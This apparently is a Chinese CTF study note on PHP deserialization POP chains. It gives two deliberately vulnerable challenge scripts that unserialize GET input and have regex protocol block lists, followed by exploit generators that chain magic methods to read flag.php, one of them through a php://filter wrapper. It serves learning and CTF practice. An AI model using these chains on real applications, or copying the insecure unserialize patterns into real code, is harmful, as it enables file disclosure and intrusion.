php序列化 pop链再学习

例一

<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(1);

class Read 
{
    public function get_file($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
class Show
{
    public $source;
    public $var;
    public $class1;
    public function __construct($name='index.php')
    {
        $this->source = $name;
        echo $this->source.' Welcome'."<br>";    
}
 
    public function __toString()
    {   
        $content = $this->class1->get_file($this->var);
        echo $content;
        return $content;
    }
 
    public function _show()
    {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
            die('hacker');
        } else {
            highlight_file($this->source);
        }
 
    }
 
    public function Change()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
        }
    }
    public function __get($key){
        $function=$this->$key;
        $this->{$key}();
    }
}

if(isset($_GET['sid']))
{
    $sid=$_GET['sid'];
    $config=unserialize($_GET['config']);
    $config->$sid;
}
else
{
    $show = new Show('index.php');
    $show->_show();
}

首先找到了反序列的点 $config=unserialize($_GET['config']);
再寻找危险函数的地方 这里发现可以读文件

class Read 
{
    public function get_file($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}

发现必须触发 __tostring才能 触发这个 get_file方法 刚开始想用 $this->source触发 发现这是一个障眼法 因为我们根本没办法触发 _show 或者 change方法 所以就相当于无法触发 __tostring,这里就利用$sid 构造 __tostring方法，$config->$sid 触发 __get方法 $this->{$key}(); 就能成功调用 __tostring方法了

pop链如下

<?php
class Read 
{
    public function get_file($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
class Show
{
    public $source = "index.php";
    public $var;
    public $class1;
}

$y1ng =  new Show();
$y1ng->var = "flag.php";
$y1ng->class1 = new Read();
echo serialize($y1ng);

例二

<?php
//flag is in flag.php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);//8.触发这个include，利用php base64 wrapper 读flag
    }
    public function __invoke(){
        $this->append($this->var);//7.然后会调用到这里
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;//4.这里会调用str->source的__get 那么我们将其设置为Test对象
    }

    public function __wakeup(){//2.如果pop是个Show,那么调用这里
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {//3.匹配的时候会调用__toString
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;//5.触发到这里
        return $function();//6.()会调用__invoke,我们这里选择Modifier对象
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);//1.反序列调用这里
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

构造pop链：

调用__wakeup()->触发__tostring()->source属性不存在，触发Test类的__get()函数 -> 触发__invoke()函数 -> include()包含文件(伪协议)

pop链如下

<?php 
class Modifier{
    protected $var;
    function __construct(){
        $this->var="php://filter/convert.base64-encode/resource=flag.php";
    }
}

class Test{
    public $p;
}

class Show{
    public $source;
    public $str;
}

$s = new Show();
$t = new Test();
$r = new Modifier();
$t->p = $r;
$s->str = $t;
$s->source = $s;
echo urlencode(serialize($s));

session和phar反序列

参考:https://www.anquanke.com/post/id/159206?display=mobile&platform=android

实例参:https://blog.csdn.net/bmth666/article/details/104737025